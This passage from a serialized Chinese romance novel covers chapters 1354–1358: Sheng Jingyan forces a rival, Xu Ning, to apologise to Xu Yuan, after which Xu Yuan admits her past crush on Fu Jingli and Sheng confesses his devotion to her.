她瞪大了眼睛,满是错愕和不解。 她以为自己要道歉的是对盛景炎的不敬,却没想到,盛景炎在意的根本不是她对自己说了什么! 盛景炎看着她呆滞的样子,眼神愈发冰冷。 他缓缓说道:“开玩笑,全天下说我坏话的人多了去了,”他自嘲地笑了笑,语气却无比认真,“我还真的不在乎。”他顿了顿,目光灼灼地盯着许宁,声音低沉而有力,“但是,伤害到阿愿,那我绝对是在乎的。” 每一个字,都敲打在许宁的心上。 许宁此刻是真的觉得盛景炎有毛病的,怎么会有这种男人的? 她说了那么多羞辱他的话,他反而不在乎,现在在乎的却是她伤害到了许愿? 她不就是力气稍微大了一点吗,真的至于这样对她吗? 而且她伤到许愿哪里了?就因为力气稍微大了一点就是伤害到许愿了?刚才她说了那么多,许愿却是半点没放心上,反倒是许愿一直在攻击她才对啊!盛景炎是不是哪里搞错了? 可惜盛景炎根本不在乎许宁是不是被伤害到了,盛景炎只在乎许愿。 好像在盛景炎看来许愿就是他的逆鳞。 许宁只知道盛景炎护短,却不知道盛景炎能护短成这样,难道盛景炎以前都是这样维护那些女人的吗?还是只单单维护许愿? 难道就算是浪子在许愿这里回头吗? 她这才意识到,自己好像犯下了很大的错误。她以为的攻击,对盛景炎来说不值一提,但她对许愿手臂上留下的那点微不足道的红痕,却成了盛景炎无法容忍的罪责。 “不道歉就想走?”盛景炎的声音里带着一丝冰冷的嘲讽,他看着许宁,眼神里充满了警告和压迫,“想得美!” 空气仿佛凝固了。 许愿站在一旁,看着盛景炎那强势维护的姿态,看着他对自己那异乎寻常的关切,心中泛起一丝涟漪。 她没有说话,只是静静地观察着,眼神里多了一丝探究和深思。 盛景炎此刻的表现,无疑将他内心的真实想法暴露无遗。 许宁僵在原地,身体因为极度的屈辱和愤怒而微微颤抖。空气仿佛在她四周凝固成冰,每呼吸一次,都带着尖锐的刺痛。 盛景炎的话精准而无情地剖开了她所有的伪装,将她内心最深处的狼狈和不堪暴露在冷冽的灯光下,无处遁形。 她以为,只要低下头,忍下这口气,事情就能过去,可现实却比她想象的更加残酷。 盛景炎根本不在乎她的道歉,他在乎的,仅仅是她对许愿造成的那点微不足道的“伤害”。这认知比直接的斥责和羞辱更让她感到难堪,仿佛她所有的挣扎和努力,在他眼中都不过是跳梁小丑的把戏,连被他正眼相待的资格都没有。 对,盛景炎就是在意许愿。 许宁的指甲深深掐入掌心,嫉妒和不解像毒蛇一样啃噬着她的心脏。 凭什么? 许愿凭什么就能让这些男人都在意她? 眼前这个圈内出了名的浪子盛景炎仿佛被她身上某种看不见的特质所吸引。 盛景炎游戏人间、从不把任何人放在心上此刻却为了许愿,对她这样一个在他眼中或许连“不相干的人”都算不上的存在,展露出了如此强烈的敌意和维护。 这种落差,让许宁感到一种近乎绝望的挫败。 她那些自以为聪明的小心思,在盛景炎绝对的权势和对许愿的偏袒面前,显得如此可笑和脆弱,不堪一击。 她像一只被剥去了所有伪装的困兽,只剩下满心的屈辱和无力,以及一丝想要逃离的渴望。 她想哭,想用眼泪来发泄这满心的委屈和不甘,她更想逃离,逃离这令人窒息的视线和压迫感。但盛景炎那冰冷的目光,像无形的枷锁,死死地缠绕着她,将她牢牢地钉在原地,动弹不得。 巨大的心理落差和恐惧感像潮水一般将她彻底吞没,让她几乎窒息。她知道,此刻自己别无选择。 她缓缓地、僵硬地转过身,面向许愿,身体僵直得像个被操控的木偶。 她抬起头,看着许愿,嘴唇不受控制地颤抖着,声音里充满了绝望和屈辱,每一个字都像是从牙缝里艰难地挤出来,带着血泪的咸涩:“对……对不起,许愿,我不该抓你,弄伤你……” 这声道歉,耗尽了她所有的力气和尊严。 许愿静静地看着她,眼神平静无波,既没有接受,也没有拒绝,仿佛这一切都与她无关。 她只是淡淡地开口,声音清冷:“我知道了。”那语气很淡,淡得几乎没有任何情绪,也没有明确表示自己是否会接受许宁的道歉。 许宁听到这句话,仿佛听到了特赦令。 她只想立刻、马上从这个让她颜面尽失的地方溜走,逃离。 她甚至不敢再看盛景炎一眼,脚下微微挪动,想要悄悄地转身。 然而,就在她准备迈步的瞬间,身后传来一声极轻的笑声。那笑声很轻,带着一丝漫不经心的嘲弄,却像一道惊雷,在她耳边炸响。 “只是这样吗?” 盛景炎的声音不高,却清晰地传入每个人的耳朵,带着不容置疑的压迫感。 那声音像一只无形的手,再次将许宁即将迈出的脚步牢牢按回地面。 许宁的身体一僵,茫然地转过身,脸上写满了不解和困惑。 她不是已经道歉了吗?她已经为“抓伤许愿”这件事低头认错了,为什么还是不对?为什么他还不肯放过她? 她的眼神里充满了无助和慌乱,不知该如何是好。 盛景炎看着她茫然无措的样子,嘴角的嘲讽更浓了。 他微微歪着头,眼神锐利如刀,一字一句地问道:“只是抓伤吗?”他顿了顿,语气里充满了讥诮,“难道不会对你说的那些话,表达一点歉意吗?” 第1354章 最后被碾压的,却是你自己 盛景炎这句话,像一道闪电,劈开了许宁脑海中的迷雾。 她瞬间明白了盛景炎的意思。 他说的那些话,指的是她在洗手间门口,对许愿说的那些刻薄评价,那些她自以为隐秘的嘲讽和诋毁! 许宁的心猛地一沉,一股寒意从脚底直冲头顶。 她明白了,盛景炎怕是早就来了,甚至更早之前,她用傅京礼来故意刺激许愿,试图激怒她的时候,盛景炎说不定就已经在场了。 盛景炎恐怕已经听到了她所有的言语,包括那些不怀好意的挑拨和对他的恶意中伤。 他不只在追究她抓伤许愿的意外,还在追究她对许愿说出那些伤人话语的恶意。 一股强烈的不服气在许宁心中涌起。 她觉得,自己说的那些话并没有错。 盛景炎的确是个浪荡不羁的男人,他和许愿在一起,或许真的只是为了贪图她的美色,或者是因为许愿曾经喜欢过傅京礼,所以他才心生不忿,想要夺人所好,将许愿据为己有。 这些,难道不是事实吗? 她不想为这些“事实”道歉,她觉得那是在否定自己的判断和立场。 她咬紧了嘴唇,眼神里闪过一丝倔强和不甘。 她不想再道歉了,她觉得自己的尊严已经被践踏得所剩无几,如果再为那些她认为没错的话道歉,她就真的什么都没有了。 盛景炎似乎看穿了她的心思,他眼中的嘲弄更甚。 他看着她紧咬的嘴唇和倔强的眼神,声音冷淡:“怎么?觉得我说错了?还是觉得,自己说的那些话,根本不需要道歉?” 许宁没有说话,只是倔强地抿着嘴,将头微微偏向一边,不敢与他对视,却又不肯屈服。 盛景炎看着她的样子,不再说话,只是静静地注视着她。 走廊里的空气仿佛凝固了,只剩下三人沉重的呼吸声。 许愿依旧保持着旁观者的姿态,神色淡然,仿佛眼前的一切都与她无关。 许宁在巨大的压力下,内心的防线一点点崩塌。 她知道,自己没有选择。 盛景炎要的,不仅仅是一句关于肢体冲突的道歉,更是对她所有恶意和挑衅的彻底认罪。 她不想低头,可现实却逼着她不得不低头。 终于,她深吸一口气,像是做出了一个极其痛苦的决定。她缓缓地转过身,再次面向许愿,身体因为屈辱而微微颤抖。 她抬起头,看着许愿,声音沙哑,带着一丝破釜沉舟的决绝:“对不起,许愿,我不该说那些话刺激你,我不该对你心存恶意……”每一个字,都像是一把刀,割在她自己的心上。 这一次的道歉,比上一次更加彻底,也更加屈辱。 许宁又一次开口,声音带着几分破釜沉舟的倔强和一丝压抑已久的挑衅:“但我不觉得我自己做错了。” 盛景炎闻言,挑了挑眉,那双深邃的眼眸里闪过一丝玩味。 许宁深吸一口气,将目光牢牢锁定在许愿的脸上:“许愿,难道你敢说你曾经不喜欢傅京礼吗?” 她的话语像连珠炮一样,带着质问和一丝刻意的揭短,“你的日记本里写的不都是傅京礼吗?你敢说你看到我跟傅京礼在一起不气愤不嫉妒吗?许愿,你敢吗?”每一个“敢”字,都用上了十足的力气,试图击碎许愿那层淡然的伪装。许宁骨子里的挑衅和不服气,在此刻彻底爆发了出来,她就是改不掉这个习惯,总想在言语上压对方一头,哪怕处境如此狼狈,也要拼死反击。 盛景炎这次却没有开口了。 他的目光缓缓地、深深地落到了许愿的脸上。 他想看看,面对这种近乎撕破脸皮的质问,许愿会如何作答。 许愿面对许宁的咄咄逼人,依旧是那副淡淡的模样,仿佛对方口中的惊涛骇浪,不过是拂过耳畔的一阵微风。 她的神色平静,眼神清澈,没有因为许宁的揭短而泛起丝毫波澜。 她甚至微微侧了侧头,姿态从容而优雅。 “我的日记本里面确实写过傅京礼。”她坦然承认,声音清冷而平稳,没有一丝慌乱,“这没什么不敢承认的。”她顿了顿,目光直视着许宁,那眼神像能洞穿人心,“但是,你跟傅京礼在一起,我并不会气愤和嫉妒。”她的话语平静,好像真的完全不在意傅京礼。 许宁显然不信,眼神里充满了怀疑和嘲弄。 许愿继续说道:“我只会认为,你那种费尽心思想要攀附权贵的模样,很可笑。”她一字一句,清晰地砸在许宁的心上,“特别是在你骄傲得意地认为,你坐在傅京礼身边就能被其他人高看一眼的时候。” 她微微停顿,给了许宁一个足够难堪的审视眼神,“你那副模样,跟逛大观园的刘姥姥没什么区别。” “刘姥姥”三个字,像三根尖锐的针,狠狠地刺入了许宁的自尊心。 她的脸色瞬间变得煞白,继而又涨得通红,羞愤和恼怒让她几乎站立不稳。 许愿却没有就此打住,她的语速不快,却字字珠玑,精准地剥开了许宁精心伪装的骄傲:“你穿着华贵的礼服,你以为自己高高在上,成为了全场的焦点,成为了别人羡慕的对象。”她的声音里带着一丝冷意,“你存着利用傅京礼碾压其它名媛的心思来参加这场拍卖会,你以为有了傅京礼这个‘护身符’,你就能凌驾于所有人之上。” 许宁的身体开始微微颤抖,不是因为害怕,而是因为被彻底看穿的愤怒和羞耻。 许愿的目光锐利如刀,直指许宁内心最深处的痛处:“可最后被碾压的,却是你自己。”她的话语像冰冷的铁锤,一下下砸碎许宁的幻想,“被温栩栩完全碾压,压到抬不起头的滋味,怎么样?”这最后一句,带着一丝轻描淡写的询问,却比任何斥责都更具有杀伤力。 许宁的脸色骤然难看起来,变得铁青,眼中充满了震惊、愤怒、羞耻和一种被彻底揭穿的狼狈。 此刻的她,死死地盯着许愿,仿佛要用目光将她凌迟。 第1355章 他又在要名分了 她确实在意!她在意极了自己被温栩栩碾压的事情,那是她心中最深的痛,是她极力想要遗忘却始终无法摆脱的阴影。 她以为自己隐藏得很好,她以为没人知道她内心深处的挫败感,可许愿却如此轻描淡写地,将这层伤疤血淋淋地掀开。 她想起拍卖会上,自己努力地想在傅京礼身边表现得优雅得体,想用傅京礼的光环来提升自己的地位,想让那些曾经看不起她的名媛们羡慕嫉妒。 她记得自己刻意挺直的脊背,记得自己与人交谈时那刻意营造出的骄傲姿态,记得自己看向温栩栩时,眼中那份带着挑衅和优越感的得意。 然而,现实却给了她一记响亮的耳光。 温栩栩的出现,像一道刺眼的光,瞬间盖过了她所有的努力和伪装。 温栩栩的从容淡定,温栩栩与生俱来的高贵气度像一面镜子,清晰地映照出她的浅薄、她的刻意、她的虚荣和她的不堪。 她引以为傲的一切,在温栩栩面前显得俗不可耐,她刻意模仿的优雅,在温栩栩面前显得拙劣可笑。 她想用傅京礼来碾压别人,结果却被温栩栩无声地碾压得抬不起头。 那种感觉,就像从云端骤然跌落谷底,巨大的落差让她几乎喘不过气来。 她当时的尴尬、窘迫、愤怒和深深的挫败感,此刻被许愿用如此冷静而尖锐的语言重新勾起,像一把盐,狠狠地撒在了她尚未愈合的伤口上。 她所有的伪装,所有的骄傲,在许愿这番话面前,都显得如此不堪一击。 她想反驳,想说许愿胡说八道,可那些话卡在喉咙里,却一个字也说不出来。 因为她知道,许愿说的是事实,是她内心最深处不愿承认的事实。 盛景炎在一旁静静地听着,他的目光在许愿和许宁之间流转。他看着许愿那张平静却洞悉一切的脸,眼神里多了一丝复杂的兴味。 他没想到,许愿的反击会如此凌厉,如此精准,不是情绪化的争吵,而是冷静到近乎残酷的剖析,直接击中了对方最脆弱的软肋。 他没有再插手,也没有再说话,他发现,许愿比他想象的更有意思,也更强大。 她不需要他的庇护,她自己就能处理好这一切。 许宁的脸色变幻莫测,从愤怒到羞耻,从不甘到绝望。 她死死地盯着许愿,眼神里充满了怨毒和恨意,但更多的,是一种被彻底击败后的茫然和无助。 她知道,自己输了,输得一败涂地。她所有的底牌,所有的伪装,都在许愿面前被撕得粉碎。 她想逃离,想立刻消失在这个让她无地自容的地方。 她不想再面对许愿那双洞悉一切的眼睛,也不想再面对盛景炎那探究而玩味的目光。 她只想找个地洞钻进去,永远不要再想起今天发生的一切。 但她却像被钉在原地一样,动弹不得。 巨大的羞辱感和挫败感像潮水一样将她淹没,让她几乎窒息。 她引以为傲的“胜利”,她精心策划的“碾压”,在许愿和温栩栩面前,都成了一个天大的笑话。 她一直以为自己是猎人,结果却发现自己才是那个被戏耍的猎物。 许愿说完那番话后,便不再看她,只是静静地站在那里,神色淡然,仿佛刚才那番话只是陈述了一个再普通不过的事实。 她的平静,与许宁的失态形成了鲜明的对比,更衬托出许宁的狼狈和不堪。 盛景炎的目光,最终还是落回了许愿身上。 许愿抬眸对上他的目光只是微微的挑了下眉,似乎并不是很理解盛景炎的意思。 盛景炎指腹再次轻轻碰了碰她手臂上几乎要消散的红痕,声音里带着一丝不易察觉的温柔:“以后,别让不相干的人碰到你。” 他倒是不在意许宁被许愿攻击成什么样子,他是真的只在意许愿一个人的。 许宁听着这话,心彻底沉入了谷底。她知道,自己今天彻底输了,输得一败涂地。 她不仅在许愿面前颜面尽失,更是在盛景炎面前,将自己所有的不堪和愚蠢暴露无遗,还被迫向自己最不愿低头的人道歉。 她像一个被抽干了所有力气的破布娃娃,踉跄着,几乎是连滚爬地逃离了这个让她永生难忘的修罗场。她的背影充满了狼狈和绝望,消失在走廊的尽头。 走廊里,再次恢复了安静。 盛景炎的目光始终停留在许愿身上,那眼底原本如寒冰般的冷意早已悄然褪去,仿佛被春日暖阳融化,只剩下淡淡的柔意,像水波般温柔地流淌着。 他的视线专注而深邃,仿佛整个世界都只剩下她一人,其余的喧嚣与纷扰都成了模糊的背景。 许愿没有回应盛景炎的问题,只是静静地站在那里,神色淡然,仿佛刚才那场激烈的言语交锋与她无关。 盛景炎见她不语,嘴角微扬,露出一抹自嘲又带着几分痞气的笑,轻声说道:“我这样说,是不是有点霸道了?” 他的声音低沉而富有磁性,在空旷的走廊里显得格外清晰,带着一丝刻意的收敛和试探。 “是有点越界了。”许愿终于开口,声音清冷如常,让人看不透她的情绪。 她的回答直接而坦率,没有丝毫的回避,却也没有责备,只是平静地陈述一个事实。 盛景炎闻言,非但没有不悦,反而像是得到了某种有趣的答案,似懂非懂地笑了声。 他的笑声低沉而悦耳,带着一丝玩味和深意:“到底是不是越界,还是要看你给不给机会了。”他微微向前倾身,目光灼灼地注视着她,语气里带着一丝不容错辨的强势和温柔,“如果你肯给个机会,那我大概就只是单纯的霸道了。” 这已经不是第一次了,他又在要名分了。 话语间带着不容置喙的掌控欲,却又巧妙地将选择权推回给她,让她无法轻易拒绝,也无从逃避。 他的霸道里,藏着一丝小心翼翼的试探和期待,像一张无形的网,温柔地向她笼罩而来。 第1356章 他都明白 这种感觉其实并不会让许愿觉得讨厌,但许愿没有接他这个话茬,她不喜欢这种被逼迫的感觉,也不喜欢在这种情绪下讨论他们之间那微妙而复杂的关系。 她微微侧过头,将视线投向窗外沉沉的夜色,试图转移话题,声音里带着一丝刻意的平淡:“你对于许宁说的那些话,没有什么想问的吗?” 她将话题引向了刚才的冲突,引向了那个被许宁反复提及的名字,傅京礼。 她想打破这有些暧昧的气氛,也想看看盛景炎的态度。 盛景炎闻言,只是不紧不慢地“嗯”了一声,似乎在思考她话里的意思,又像是故意吊着她的胃口,故作疑惑地问:“你是指什么?” 许愿转回头,目光平静地迎上他的视线,一字一句地问道:“指我对傅京礼的在意,我的日记本里写满的都是傅京礼,你没什么想说的吗?” 她将问题直接抛给他,眼神里带着一丝审视,似乎要看穿他内心最真实的想法。 盛景炎的眸光很轻微地闪了闪,那双深邃的眼眸里掠过一丝复杂的情绪,有探究,有一丝不易察觉的在意,但更多的是一种强势的占有欲。 他没有立刻回答,而是沉默了片刻,像是在斟酌词句,又像是在组织自己的情绪。 随后,他才缓缓开口,声音低沉而认真:“如果我说我介意,你会在乎吗?”他顿了顿,目光紧紧锁住她,“我希望你在乎,所以——你在乎吗?” 他没有直接回答她的问题,而是将问题又抛了回去,用一种近乎无赖的方式,逼迫她面对自己的内心。 许愿微微抿唇,她能感受到盛景炎话语里的认真和那股不容忽视的占有欲。 她沉默了片刻,像是在整理思绪,随后,她轻轻开口,声音里带着一丝罕见的坦诚和柔软,像是在对他诉说,又像是在对自己坦白。 “我的日记本里面,确实写满了傅京礼。” 她坦然承认,没有丝毫的隐瞒和回避,“我写了很多有关于傅京礼的事,有时候会在自己的书本上,写满他的名字,一笔一划,写得密密麻麻。” 她的声音很轻,仿佛陷入了某种回忆之中,“我会因为恰好跟他走在同一条路上而开心一整天,会因为他无意间的一个眼神而心跳加速。” 她的眼神里,有追忆,也有淡淡的苦涩,“我会因为他越来越优秀而为他骄傲自豪,那种感觉,就像是自己好像也参与其中也与有荣焉。” 她顿了顿,像是在寻找一个合适的形容词,来描述那段青涩又隐秘的情感:“就是自己都不明白,为什么会这样喜欢一个人。那种喜欢,没有理由,没有逻辑,就是纯粹地,想要靠近他,想要了解他,想要看到他笑。” 她的眼神变得有些迷离,像是透过眼前的盛景炎,看到了遥远过去的那个少年,“所以,看到他和许宁在一起,我会在意,会心痛,会难过。” 她坦诚地承认自己的情绪,没有丝毫的掩饰,“那种感觉,就像自己珍藏了很久东西,突然被别人拿走了一样。” “许宁说的那些话,有一部分是对的。”许愿继续说道,她的声音里带着一丝自嘲,也带着一丝释然,“我确实是有些嫉妒的,因为我从没有真正的触碰到傅京礼。我甚至跟傅京礼没有更多的交集,我们的对话屈指可数,他甚至可能都不记得我的名字。” 她的语气里,带着一丝无奈和淡淡的遗憾。 “但许宁却先我一步陪在他身边。”许愿的声音里,终于带上了一丝不易察觉的酸涩,“她可以光明正大地站在他身边,可以和他并肩而行,可以和他谈笑风生。而我,只能远远地看着,默默地羡慕着。” 她抬起头,直视着盛景炎的眼睛,那眼神里,有坦诚,有脆弱,也有释怀,“盛景炎,我真的会在意。盛景炎,我没有你想的那么淡定。” 她终于将自己内心最深处的秘密和脆弱,毫无保留地展现在了盛景炎面前。 她承认自己对傅京礼的喜欢,承认自己的嫉妒和在意,承认自己并非表面上看起来那么云淡风轻。 盛景炎静静地听着,他脸上的玩世不恭和霸道,在许愿的这番坦白下,渐渐褪去。 他的眼神变得前所未有的认真,甚至带着一丝他自己都未曾察觉的温柔。 他看着她,看着她眼底那一闪而过的脆弱和坦诚,心中某个柔软的地方,被狠狠地触动了。 他一直以为,许愿是那种对什么都不在意,对什么都不动心的女子。她的淡然,她的冷静,她的理智,都让他觉得她像一座难以攀登的冰山。 可此刻,他才发现,这座冰山之下,也藏着炽热的岩浆,也藏着少女般青涩的爱恋和无法言说的遗憾。 他看着她,看着她微微颤抖的睫毛,看着她努力维持平静却依旧泄露了情绪的神情,心中涌起一股强烈的冲动。 他想拥抱她,想告诉她,过去的都已经过去了,眼前的人是他,不是傅京礼。 他缓缓地伸出手,动作很轻,像是怕惊扰了她。 他没有去牵她的手,而是轻轻地,将她鬓边一缕散落的发丝,温柔地别到了耳后。 他的指尖,不经意间触碰到她的脸颊,带着一丝微凉的温度。 “我明白了。”他低声说道,声音里带着一丝前所未有的郑重,仿佛每一个字都沉甸甸地落在寂静的空气里,带着一种庄重的承诺感,“许愿,我明白了。” 他的眼神深邃而专注,像夜色中静静燃烧的星火,那份郑重其事的认真,让原本有些凝滞的气氛都好像在此刻增添了几分暧昧感。 他不再像之前那样强势地逼迫,也不再用那种略带调侃的语气去试探,而是用一种近乎虔诚的态度,去接纳她所有的真实,包括那些曾属于别人的、青涩的、隐秘的心事。 许愿看着他,清澈的眼眸里掠过一丝困惑和探究。 她想问你明白了什么? 是明白了我对傅京礼那份曾经的、小心翼翼的喜欢? 还是明白了我并非如表面那般无动于衷?亦或是明白了,我其实也有着会嫉妒、会难过、会不甘的软弱一面? 第1357章 未来全部都是你 她张了张嘴,却发现自己竟不知该从何问起,那些复杂的情绪,似乎都被他一句“我明白了”轻轻包裹住。 就在她怔忡的瞬间,盛景炎的神情却忽然一变,嘴角勾起一抹轻快的笑意,那笑意如同骤然拨开云雾的月光,带着一丝狡黠和温柔,驱散了方才的沉重。 他轻笑一声,声音里带着一丝不易察觉的期待,开口道:“想不想看我的日记?” 这突如其来的转折,让许愿愣住了。 她一时没有反应过来,不明白他为何会从那样郑重的氛围,突然跳转到如此私人的话题。 她的思绪还停留在刚才的坦白和对盛景炎“明白”的揣测中,一时跟不上他跳跃的思维。 她微微睁大了眼睛,带着一丝茫然和错愕,怔怔地看着他。 盛景炎却没有给她太多思考的时间,他再次开口,声音里带着一丝笃定和温柔的宣告:“我的日记……应该全部都是你了。” 他的话语,像一颗投入平静湖面的石子,在许愿的心湖里漾开一圈圈涟漪。 她先是一怔,随即,唇角不受控制地微微上扬,带着点调侃和温暖的笑意。 她没忍住,轻笑了一声,那笑声清浅而悦耳,她故意用一种轻松的语气问道:“你是指未来的日记吗?” 她的话语里,带着一丝试探,也带着一丝不易察觉的期待。 她想知道,他这句话,是不是真的只是一句随口诱哄的承诺,又或者是盛景炎内心的真实想法。 盛景炎看着她脸上那抹浅浅的笑意,眼神也变得更加温柔而坚定。 他郑重其事地点了点头,语气里充满了不容置疑的肯定:“对,不光是未来的日记,未来……应该也会全都是你。” 他的日记,他的未来,他人生的篇章,都想要以她为唯一的主角,他未来的故事里面的女主角一定会只有许愿。 这不仅仅是一句情话,更像是一种承诺,一种想要将她融入自己生命每一个角落的强烈愿望。 许愿脸上的笑意更深了,但眼底却闪过一丝狡黠和故作的冷静。 她故意压下心中的悸动,反问道:“你怎么知道,我会给你这个机会呢?”她的声音里带着一丝若有若无的试探,像一只竖起尾巴的猫,明明已经心动,却还要装作漫不经心的样子,想要听他亲口说出那份执着和渴望。 盛景炎听到这个问题,脸上没有丝毫的慌乱或退缩。他坦然地迎上她的目光,说出了自己内心最真实的想法:“我不知道。” 他停顿了一下,似乎在认真地思考着自己的答案,然后继续说道,声音里带着一丝不易察觉的柔软和期待:“但我希望,你能给我这个机会。” 他无法预知她的心意,也无法强求她的选择。 而“但我希望”则是他内心最强烈的渴望和追求。 他不逼迫,不强求,只是将自己的心意坦露在她面前,静静地等待她的回应,无论结果如何,他都愿意去争取,去等待。 走廊里的灯光柔和地洒在两人身上,将他们的影子拉得有些长。 许愿看着盛景炎那双真诚而执着的眼睛,心中那份因坦白而生的忐忑和不安,仿佛被他这番话悄然抚平。 他的“不知道”,让她感受到了他的尊重,他的“希望”,则让她感受到了那份沉甸甸的诚意。 事实上在外界人的眼中,盛景炎绝对不会是这样一个讲道理的人,他花心,他爱玩,他游戏人间,但在许愿面前,他就是带着别样的魅力,好像只有在许愿面前的盛景炎才是真实的盛景炎。 空气仿佛凝固了,只剩下彼此间若有若无的呼吸声。 许愿没有立刻回答,她只是静静地回望着他,眼神里的情绪复杂而深邃。 她没有说“好”,也没有说“不好”,但那份沉默,却比任何言语都更具有力量。 那是一种在认真思考,在权衡,在感受的沉默。 她的沉默,就等同于在思考,她一旦在思考就等同于想要给他机会,盛景炎这么聪明,怎么可能不明白这些? 盛景炎也不着急,他只是耐心地等待着,他明白感情不是一蹴而就的,他愿意用时间用行动去证明自己,他愿意为她付出所有。 空气中弥漫着淡淡的花香和若有若无的冷香,仿佛将整个世界都笼罩在一种朦胧而暧昧的氛围里。 许愿站在盛景炎的对面,走廊顶灯的光芒温柔地洒在她的发梢和肩头,将她的轮廓勾勒得格外清晰,也让她此刻的表情纤毫毕现。 她微微垂着眸,长长的睫毛在眼下投下一小片阴影,遮住了眼底一闪而过的慌乱和不自在。 沉默片刻后,她终于还是率先打破了这份有些凝滞的静谧,声音清冷,却带着一丝不易察觉的微颤:“你为什么这个时间会出现在这里?” 她微微抬眼,目光越过盛景炎的肩头,投向远处灯火通明的宴会厅方向,“这个时间,你不该在拍卖会场吗?”她收回视线,重新聚焦在他脸上,带着一丝审视和疑惑,“不是说了,有喜欢的想要拍下的东西?” 她的语气里,有询问,也有一丝自己都未曾察觉的关切。 她努力让自己显得平静而理智,仿佛只是在询问一个寻常的行程安排,但微微攥紧的指尖,却出卖了她内心的波澜。 盛景炎闻言,没有立刻回答。 他只是微微歪着头,以一种近乎宠溺的姿态看着她。 他的眉眼舒展着,嘴角噙着一抹淡淡的、带着明显笑意的弧度。 那双深邃的眼眸里,此刻盛满了温柔和戏谑,像一汪被春风拂过的湖水,波光粼粼,倒映着她清晰的身影。 他的目光,专注而炙热,仿佛她是他眼中唯一的风景,其他一切都成了模糊的背景。 “你不清楚我为什么会来这里吗?”他反问,嗓音低沉而富有磁性,尾音微微上扬,带着一丝勾人的笑意,像是羽毛轻轻搔刮过人的心尖。 他故意停顿了一下,像是在欣赏她脸上细微的表情变化,然后才慢条斯理地继续说道:“我在找人啊。” 第1358章 你的脸为什么会红呢? “找人”两个字,他说得格外清晰,也格外意味深长。 他的目光,带着一丝探究和期待,紧紧锁住她的脸,不错过她任何一丝细微的反应。 许愿没有回应。 她只是抿了抿唇,将头转向了一侧,避开了他那过于灼热和洞悉一切的目光。 她没有追问,也没有表现出任何惊讶,但那悄然爬上耳根的、一抹淡淡的绯红,却将她内心的不平静暴露无遗。 那抹红色,像春日里初绽的桃花瓣,娇嫩而惹眼,在她白皙的肌肤上晕染开来,带着少女般的羞赧和慌乱。 盛景炎将她的一切反应都尽收眼底。他看着她那微微泛红的耳根,看着她刻意回避的视线,心中的愉悦几乎要满溢出来。 他心知肚明,她当然知道他是来找谁的。 这份心照不宣的默契,让他感到一种莫名的满足和欢喜。 见她依旧不吱声,像个害羞的鸵鸟一样把头埋得更低,盛景炎的眉眼弯得更厉害了,那笑意从眼角一直蔓延到嘴角,带着一丝得意和温柔。 他向前轻轻迈了一小步,缩短了两人之间的距离,声音里带着一丝诱哄的意味:“怎么不问了?” 他故作疑惑地挑了挑眉,“我以为你会想知道更多,或者……” 他故意拉长了语调,眼神里闪烁着狡黠的光芒,“你该问我,是不是为了你?然后,我会回答你,对,就是为了你来的。” 他的每一个字都像一颗小石子,投入许愿的心湖,激起一圈圈无法平息的涟漪。 许愿依旧没有说话,只是那抹绯红,从耳根一路蔓延到了脸颊,像一朵悄然绽放的玫瑰,娇艳而动人。 她能清晰地感受到盛景炎那道目光,那道带着无法言语的汹涌爱意的目光,像一张无形的网,温柔地将她包裹其中。 那目光里,有专注,有宠溺,那是一种仿佛要将她整个人融入骨血里的深情,浓烈得让她几乎无法呼吸。 盛景炎看着她愈发红润的脸颊,看着她愈发慌乱的神情,眼神变得更加温柔而深邃。 他轻声开口,声音里带着一种前所未有的郑重:“或许,你觉得有点夸张。但我不觉得夸张,因为我确实是真的很在意你,很在意很在意。”他顿了顿,像是在寻找最贴切的形容词,来描述自己内心那份浓烈的情感,“在意到,有时候我自己都反应不过来,这种在意的感觉。” 他的声音低沉而缓慢:“你出来这么久,我一直没看到你回去,我担心……担心会有不长眼的人伤到你。许愿,我是真的不想你受到任何伤害的。” 这番话,让许愿的心像是被什么东西轻轻撞了一下,泛起一阵阵细微的酸涩和悸动。 她终于忍不住,抬眸看了他一眼。但很快,她就又迅速地移开了视线,仿佛他的目光太过炽热,让她无法直视。 “你好像……真的很爱说情话。”她轻声说道,声音里带着一丝不易察觉的微颤,像是在陈述一个事实,又像是在为自己找一个逃避的理由。 盛景炎闻言,低低地笑了起来。他的笑声低沉而悦耳,在寂静的走廊里回荡,带着一丝满足和温柔。 他坦然承认:“好像……只是对着你。如果是对着其他人,我是说不出这些情话的。” 他顿了顿,语气变得无比认真,“只是对于你。虽然现在听着有些像谎话,但以后……我会证实,我说的一切都是正确的。” 他的目光,依旧深深地凝视着她,那眼神里的爱意,浓烈而纯粹,仿佛要将她整个人都融化在他的视线里。 那是一种无法用言语形容的汹涌爱意,像潮水般将她包围,让她无处可逃,也不想逃。 许愿的心,像是被他这番话和这道目光彻底击中了。 她感到一阵莫名的慌乱,仿佛自己正站在一个悬崖边缘,脚下是深不见底的温柔漩涡。 她有些慌意地再次移开视线,不敢去触碰他那双仿佛能看透一切的眼睛。 盛景炎敏锐地捕捉到了她眼底那一闪而过的慌乱。他嘴角的笑意更深了,带着一丝了然和温柔的调侃。 他轻声问道:“我说这些,让你心慌了吗?” 他的声音很轻,带着一丝故意的试探。 许愿强自镇定地摇了摇头,声音清冷地否认:“没有。” 她的否认显得有些苍白无力,因为她那依旧红得不像话的脸颊,已经彻底出卖了她。 盛景炎低笑出声,那笑声里充满了愉悦和宠溺。 他微微俯身,凑近了她一些,温热的气息几乎要喷洒在她的耳畔。 他用一种只有他们两人才能听到的音量,带着一丝戏谑和温柔,轻声说道:“那……你的脸为什么会红呢?” 许愿感到脸颊上的热度似乎又升高了几分,仿佛要燃烧起来一般。 她慌乱地后退了半步,试图拉开两人之间那过于亲密的距离,但她的动作却显得有些笨拙和无措。 盛景炎没有再进一步逼迫她,只是直起身,依旧用那双盛满温柔和笑意的眼睛,深深地凝视着她。 他的目光,像春日里最和煦的阳光,温柔地包裹着她,驱散了她心中的最后一丝慌乱和不安。 空气仿佛凝固了,只剩下两人之间那若有若无的呼吸声和心跳声。 走廊里的灯光柔和地洒在他们身上,将他们的影子拉得有些长,也让他们之间的氛围,变得更加暧昧而缱绻。 许愿低着头,长长的睫毛在眼下投下一片扇形的阴影,遮住了她眼底复杂的情绪。 许愿站在盛景炎对面,脸颊上那抹尚未完全褪去的绯红,在灯光下显得格外清晰,她自己却仍倔强地不愿承认。 “我没脸红,你看错了。”她微微侧过头,声音清冷中带着一丝不易察觉的底气不足,仿佛是在说服对方,更像是在说服自己。 她的眼神飘忽不定,不敢与盛景炎对视,手指不自觉地绞着衣角,泄露了她内心的慌乱。 盛景炎闻言,低低的笑声从胸腔里溢出。 第1359章 